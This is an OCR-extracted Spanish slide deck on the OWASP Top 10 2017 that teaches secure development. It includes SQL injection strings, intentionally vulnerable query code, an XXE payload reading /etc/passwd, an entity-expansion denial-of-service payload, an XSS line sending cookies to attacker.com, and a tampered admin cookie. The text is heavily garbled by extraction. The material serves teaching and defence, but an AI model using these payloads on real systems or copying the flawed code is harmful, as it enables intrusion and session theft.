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INTRODUCCION

Aplicar malas practicas de desarrollo
seguro conlleva la aparicion de
vulnerabilidades en aplicaciones.
Asimismo, a lo largo del tiempo, van
apareciendo nuevas formas de
vulnerar aplicaciones que genera
oportunidades a los atacantes para
afectar nuestras aplicaciones y la
seguridad de nuestra informacion.
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“/\ Presentar las principales vulnerabilidades que se
presentan en aplicaciones, cobmo se producen, cobmo se
detectan, qué consecuencias pueden generar, Yy

finalmente cdmo podemos evitarlas o remediarlas.
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METODOLOGIA DE LA INVESTIGACION

Se abordara los temas siguientes presentando en cada uno de
ellos su base de conocimiento, ejemplos y recomendaciones:

1.

2.
3.
4

Principales Casos
Como detectarlas
Como corregirlas
Estrategias para aplicar las metodologias y practicas.
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METODOLOGIA DE LA INVESTIGACION
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SERVIDOR WEB (Capa Presentacion)

CAPA DE NEGOCIO (Servidor Aplicaciones, Aplicaciones, Acceso a
Datos)

Transdisciplinarios Bolivia
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CAPA DE DATOS (Servidor Base de Datos) de |
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OWASP
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OWASP TOP TEN

“@ *)ownsp

Centro de Investigacion OWASP TOp 10 = 2017

y Desarrollo Ecuador Los diez riesgos mas criticos en Aplicaciones Web
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A1l : INYECCION
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METODOLOGIA DE LA INVESTIGACION

A1l : INYECCION - SQL

.

KUtiIiza una serie de
consultas SQL
maliciosas para
manipular
directamente la base
de datos.

* Puede ser ejecutado
desde el URL, campos
de la aplicacién o a
través consultas o
busquedas.

Escenario #1: la aplicacion utiliza datos no confiables en la
construccion del siguiente comando SQL vulnerable:

String query = "SELECT * FROM accounts WHERE custID="" +
request.getParameter("id") + ",

Escenario #2: la confianza total de una aplicacion en su
framework puede resultar en consultas que aun son vulnerables
a inyeccion, por ejemplo, Hibernate Query Language (HQL):

Query HQLQuery = session.createQuery("FROM accounts WHERE
custlD=""+ request.getParameter("id") + """);

En ambos casos, al atacante puede modificar el parametro “id”
en su navegador para enviar: ' or '1'="1. Por ejemplo:

http://example.com/app/accountView?id="or 1'="1

Esto cambia el significado de ambas consultas, devolviendo
todos los registros de la tabla “accounts”. Ataques mas
peligrosos podrian modificar los datos o incluso invocar
procedimientos almacenados.
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A1l : INYECCION - SQL — CASO REAL
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METODOLOGIA DE LA INVESTIGACION

A1l : INYECCION — COMO EVITAR

La opcion preferida es utilizar una API segura, que evite el uso de un intérprete por
completo y proporcione una interfaz parametrizada
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A2 : PERDIDA DE AUTENTICACION
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A2 : PERDIDA DE AUTENTICACION — COMO EVITAR

¢ CIDD Implemente autenticacion multi-factor para evitar atagues automatizados, de
fuerza bruta o reuso de credenciales robadas.
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A2 : PERDIDA DE AUTENTICACION — COMO EVITAR

Limite o incremente el tiempo de respuesta de cada intento fallido de inicio de
sesion. Registre todos los fallos y avise a los administradores cuando se

detecten ataques de fuerza bruta.

Utilice un gestor de sesion en el servidor, integrado, seguro y que genere un
nuevo ID de sesion aleatorio con alta entropia después del inicio de sesion.

Centro de Estudios

Transdisciplinarios Bolivia
CET-BOLIVIA

|El Session-ID no debe incluirse en la URL, debe almacenarse de forma seguray
ser invalidado después del cierre de sesion o de un tiempo de inactividad
determinado por la criticidad del negocio.
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METODOLOGIA DE LA INVESTIGACION

A2 : PERDIDA DE AUTENTICACION — CONTRASENAS MAS COMUNES

passwonrd letmein
123456 monkey

12345678 696969
1234 abc123

qwerty mustang

Centro de Estudios
disci A

CET-BOLIVIA

12345 michael

dragon shadow

pussy master

baseball jennifer

football 111111 Congreso Internacional de
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A3 : EXPOSICION DE DATOS SENSIBLES
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A3 : EXPOSICION DE DATOS SENSIBLES — COMO EVITAR

O cipe ( , .
Cifre los datos sensibles cuando sean almacenados.
Centro de Investigacion
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A4 : ENTIDADES EXTERNAS XML
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A4 : ENTIDADES EXTERNAS XML — CASO PARA IDENTIFICAR

“CIDD 1. Verificamos si el sitio acepta peticiones XML

Centro de Investigacion L:J Request to hitp://192.168.0.50:80

y Desarrollo Ecuador

| Forward ||  Drop | | Interceptison | | Action

4 _[ Raw T Params T Headers ] Hex ]
(Q‘ POST /login HTTP/1.1

Host: 192.1€8.0.50
_User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£fd4; x£4; rwv:55.0) GCecko/2010010] Firefox/55.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-CL,es;q=0.08,en-US,;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Peferer: http://152.1€68.0.50/1login
Connection: close
Upgrade-Insecure-Requests: 1

Centro de Estudios
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A4 : ENTIDADES EXTERNAS XML — CASO PARA IDENTIFICAR

“CIDD 2. Verificamos que el intérprete resuelva nuestras peticiones

Centro de Investigacion
y Desarrollo Ecuador

POST Prueba.com/Interprete_ XML HTTP/1.1 HTTP/1.0 200 QK
. <foo=
“ Primer Ejemplo Primer Ejemplo
Centro de Estudios ‘::fr fﬂ D}
cTrEan.i.dlmsc;lplmoarlltstBovhviaA

Interprete XML
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A4 : ENTIDADES EXTERNAS XML — CASO PARA IDENTIFICAR

“}CIDD 3. Prueba para denegacion de servicio

Conto g0 remmascior POST Prueba.com/Interprete_ XML HTTP/1 HTTP/1.0 200 OK
y Desarrollo Ecuador
<IDOCTYPE foo [ Segundo Ejemplo Segundo Ejemplo Seqgundo Ejernplo
JELEMENT foo ANY> Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo
/ GRS S A = S
“ <IENTITY var1 "&variable;&variable;"> S J q EJ' pl S g d EJ' pl 9 Jem;
<IENTITY var2 "&varl,&varl,&vart;&vari;"> egundo Jemp 0 segtindo Jemp o _
raConir do Estudos, ENTITY var3 "8&var2:&var2-&var2:-&var2-&var2-"> Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo

CET-BOLIVIA P> Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo
“foo> Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo
&var3: Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo
’ Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo
Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo
Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo
Segundo Ejemplo Segundo Ejemplo Segundo Ejemplo

Segundo Ejemplo Segundo Ejemplo

</foo>
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A4 : ENTIDADES EXTERNAS XML — CASO PARA IDENTIFICAR

ac’) 4.Obtencién de contrasefias

<IDOCTYPE foo [<IENTITY bar SYSTEM "file:///etc/passwd">]> <foo>&bar;</foo>

Headers .

IIIIIIIIIIIIIIIIIIII

CET BOLIVIA

Hel 1
root-w-0-0:root - froot : fhin/hash
daemon:-x: 1:1: daesmon : fusr fshin: fbinfsh

bim:w:2:2:bin: fbin: /binfsh
sys x:3:3:a8ys: fdev: [binfsh Congreso Internacional de

aync x4 6%%3% sync: fbin: fhin/sync DESARROLLO
gqares - ®- 5 60 games - fusr fgames - fbinfsh D E so FTWA R E

man: - G- 12 -man: fvar focache fman: fbinfsh
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A4 : ENTIDADES EXTERNAS XML - COMO EVITAR

Actualice los procesadores y bibliotecas XML que utilice la
aplicacion. Use validadores de dependencias.

rDeshabilite las entidades externas de XML y procesamiento en

todos los analizadores sintacticos XML.

(Implemente validacion de entrada en el servidor, filtrado y

sanitizacion para prevenir ingreso de datos daninos dentro del

codigo XML.
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A5 : PERDIDA DE CONTROL DE ACCESO
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METODOLOGIA DE LA INVESTIGACION

A5 : PERDIDA DE CONTROL DE ACCESO - EJEMPLOS

http://example.com/app/accountinfo?acct=notmyacct

http://example.com/app/getapplnfo

http://example.com/app/admin_getapplnfo

Centro d
CET-BOLIVI
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METODOLOGIA DE LA INVESTIGACION

A5 : PERDIDA DE CONTROL DE ACCESO — COMO EVITAR

Implemente los mecanismos de control de acceso y reutilicelo en
toda la aplicacion.

Transdisciplinarios Bolivia
CET-BOLIVIA

WEDAMARRKRKVVLLW

DE SOFTWARE




J METODOLOGIA DE LA INVESTIGACION

gggggggggggg
Tecrnoldgico del Azuay

A6 : CONFIGURACION DE SEGURIDAD INCORRECTA
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METODOLOGIA DE LA INVESTIGACION
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Tecrnoldgico del Azuay

A6 : CONFIGURACION DE SEGURIDAD INCORRECTA - EJEMPLO

- Server Errorin '/ " Application.
‘\cn)D 1

Configuration Error

Centro de Investigacion

y Desarrollo Ecuador
Description: &n error occurred during the processing of a configuraticn file reguired to service this request. Please review the specific error details below and moedify your configuration file appropriately.

Parser Error Message: Could not create Windows user token from the credenfialz specified in the config file. Error from the operating system "Logon failure: the specified account password haz expired.
4 Source Error:

“ Line 57: <xhtmlConformance mode="Legacy"” /=

Line 58: <httpRuntime maxReguestlLength="102400" i 1 =" D9
B ik b P Line 59: <identity impersonate="true" userName=' password -
ransdisciplinarios Bolivia 60:

CET-BOLIVIA Lunz </system. web>

Line &1: csystem.webserver=

Source File: G:'llr:].cunﬁg Line: 59

Version Information: Microsoft MET Framework Version:2.0.50727.3082; ASP.MET Yersion:2.0.50727.3634

DESARROLLO
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A6 : CONFIGURACION DE SEGURIDAD INCORRECTA — COMO EVITAR

{
Implemente fortalecimiento (hardening) de los entornos del ciclo:
desarrollo, control de calidad y produccion. Con diferentes
credenciales para cada entorno.

Congreso Internacional de
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A7 : CROSS-SITE SCRIPTING (XSS)
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A7 : CROSS-SITE SCRIPTING (XSS) - EJEMPLO

o | Escenario 1: la aplicacion utiliza datos no confiables en la
CIDE construccion del codigo HTML sin validarlos o codificarlos:
e (String) page += "<input name= 'creditcard'type='TE>{T' value=""+

request.getParameter("CC") + "'>";
4
(«‘ El atacante modifica el parémetro “CC" en el navegador por:
CET-BOLIVIA '><script>document.location="http://www.attacker.com/cgi-

bin/cookie.cgi?foo="+document.cookie</script>'

Este atague causa que el identificador de sesion de la victima
sea enviado al sitio web del atacante, permitiéndole secuestrar
la sesion actual del usuario.




METODOLOGIA DE LA INVESTIGACION

A7 : CROSS-SITE SCRIPTING (XSS) — COMO EVITAR

(
Use frameworks seguros que, por diseno, automaticamente

codifican el contenido para prevenir XSS.

e [Codificar los datos de requerimientos HTTP no confiables en los
campos de salida HTML. Use “Hoja de trucos OWASP para evitar
XSS”

Congreso Internacional de
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A7 : CROSS-SITE SCRIPTING (XSS) — COMO EVITAR

‘\)CIDD https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Centro de Investigacion 2 XSS Prevention Rules

y Desarrollo Ecuador

2.1 RULE #0 - Never Insert Untrusted Data Except in Allowed Locations
2.2 RULE #1 - HTML Escape Before Inserting Untrusted Data into HTML Element Content
4 2.3 RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
“ 2.4 RULE #3 - JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values
241 RULE #3.1 - HTML escape JSON values in an HTML context and read the data with JSON parse
2411 JSON serialization
2412 HTML entity encoding

Centro de Estudios
Transdisciplinarios Bolivia

CET-BOLIVIA

RULE #4 - CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values

RULE #5 - URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values
RULE #6 - Sanitize HTML Markup with a Library Designed for the Job
RULE #7 - Prevent DOM-based XSS
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A8 : DESERIALIZACION INSEGURA
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A8 : DESERIALIZACION INSEGURA

0 CIDE . - T— :
‘ ) Escenario #2: un foro PHP utiliza serializacion de objetos PHP
e lpara almacenar una “super cookie”, conteniendo el ID, rol, hash
de la contrasena y otros estados del usuario:
(/g a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"bb6a8b3bea87fe0e05
g 022f8f3c88bc960";]

Centro de Estudios

..........................

CET-BOLIVI

Un atacante modifica el objeto serializado para darse privilegios
de administrador a si mismo:

a:4:{i:0:i:1:i:1;5:5:"Alice":i:2;5:5:"admin";i:3;s:32:"b6a8b3bea87fe0e05022
f8f3c88bc960";}
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A8 : DESERIALIZACION INSEGURA — COMO EVITAR

“g@ [No aceptar objetos serializados de fuentes no confiables o utilizar
medios de serializacion que solo permitan datos primitivos.

Centro de Estudios
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A9 : USO DE COMPONENTES CON VULNERABILIDADES CONOCIDAS
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A9 : USO DE COMPONENTES CON VULNERABILIDADES CONOCIDAS

oo e vstgelr * Exploit Database (https://www.exploit-db.com)
» SecurityFocus (https://www.securityfocus.com)
(g\ e Zero Day Initiative (https://www.zerodayinitiative.com)

Centro de Estudios
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METODOLOGIA DE LA INVESTIGACION

EXPLOIT DATABASE

EXPLOIT =~
DATABASE

L

Web Application

I

V Title

Q00000 0 C

Viva Visitor & Volunteer ID Tracking 0.95.1 - ‘fname’ SQL Injection
The Open ISES Project 3.30A - Arbitrary File Download

eNdonesia Portal 8.7 - 'artid’ SQL Injection

School ERP Ultimate 2018 - 'fid' SQL Injection

The Open ISES Project 3.30A - "tick_lat’' SQL Injection

Oracle Siebel CRM 8.1.1 - CSV Injection

School ERP Ultimate 2018 - Arbitrary File Download

MySQL Edit Table 1.0 - 'id' SQL Injection

Exploits

Platform

PHP
PHP
Bt
PHP
P

Java
PHP

312

Author

lhsan Sencan

Ihsan Sencan

lhsan Sencan

lhsan Sencan

lhsan Sencan

Sarath Nair

lhsan Sencan

lhsan Sencan
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A9 : USO DE COMPONENTES CON VULNERABILIDADES CONOCIDAS

Monitorizar continuamente fuentes como CVE en busqueda de
vulnerabilidades de componentes. Suscribirse a noticias.

Transdisciplinarios Bolivia
CET-BOLIVIA
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Centro de Investigacion
y Desarrollo Ecuador Common Vulnerabilities and Exposures

CVE (https://cve.mitre.org)

. = NVD
ﬁ\.\ Go to for:

.-_J' CWS5 Scores
{:J H CPE Info

Advanced Search

Search CVE List Download CVE Data Feeds Request CVE IDs Update a CVE Entry
TOTAL CVE Entries: 108746
7
‘s Printer-Friendly View

Centro de Estudios
Transdisciplinarios Bolivia

CET-BOLIVIA

CVE-2018-16336 Learn more at National Vulnerability Database (NVD)
e CVSS Severity Rating » Fix Information » Vulnerable Software Versions « SCAP Mappings » CPE Information

Exiv2::Internal::PngChunk::parseTXTChunk in Exiv2 v0.26 allows remote attackers to cause a denial of service (heap-based buffer over-
read) via a crafted image file, a different vulnerability than CVE-2018-10999.
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CVSS v3.0 Severity anc

Metrics:

Base Score: 5.8 CRITICAL
Vector:

AV:N/AC:L/PR:N/ULN/S:U/C:H/I:H/A:H

(V3 legend)
Impact Score: 5.9
Exploitability Score: 3.9

Attack Vector (AV): Network
Attack Complexity (AC): Low
Privileges Required (PR): None
User Interaction (Ul): None
Scope (S): Unchanged
Confidentiality (C): High
Integrity (I): High

Availability (A): High

METODOLOGIA DE LA INVESTIGACION

NIST (https://nvd.nist.gov)

CVSS v2.0 Severity anc

Metrics:
Base Score: 7.5 HIGH

Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P)

(V2 legend)
Impact Subscore: 6.4
Exploitability Subscore: 10.0

Access Vector (AV): Network
Access Complexity (AC): Low
Authentication (AU): None
Confidentiality (C): Partial
Integrity (1): Partial

Availability (A): Partial
Additional Information:

Allows unauthorized disclosure of
information

Allows unauthorized modification

Allows disruption of service

D Internacional de

ARROLLO
DFTWARE
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A10 : REGISTRO Y MONITOREO INSUFICIENTES

Centro de Estudios
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METODOLOGIA DE LA INVESTIGACION

A10 : REGISTRO Y MONITOREO INSUFICIENTES — COMO EVITAR

Asegurese que todos los errores de inicio de sesion, de control de
acceso y validacion de datos de entrada se puedan registrar.

WEDAMARRKRKVVLLW
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Ciclo de Desarrollo Seguro

o CIDD CICLO DE DESARROLLO SEGURO DE APLICACIONES

Centro de Investigacion
y Desarrollo Ecuador Requisitos de Seguridad

Application Security Verification Standard Andlisis de Vulnerabilidad

OWASP ASVS

: - T T T

Centro de Estudios
Transdisciplinarios Bolivia

CET-BOLIVIA

Analisis y Evaluacion de Revision de Codificacion Segura  Revision de Codigo Pruebas de
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CONCLUSIONES

(1. Los atacantes van buscando nuevas formas de vulnerar aplicaciones. Por
otro lado, las practicas de desarrollo también van evolucionando,

mejorando en el control de algunas vulnerabilidades y dejando otras.

2. Las recomendaciones para cada vulnerabilidad, en su conjunto, nos llevan

a valorar la importancia de implementar un Ciclo de Desarrollo Seguro.

'3. En la medida que el equipo de desarrollo conozca mas sobre aspectos de
seguridad, tendra mejor oportunidad de aplicar las medidas que eviten que
a aplicacion sea vulnerable.

4. Existen muchos medios para informarse de las vulnerabilidades. La labor
esta en tener acceso a ellos, revisarlos periodicamente y aplicar las medidas
gue correspondan.
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 Ingresa a:

J www.cidecuador.com

[ Al finalizar este evento podrds encontrar esta
presentacion en su respectiva pagina web.
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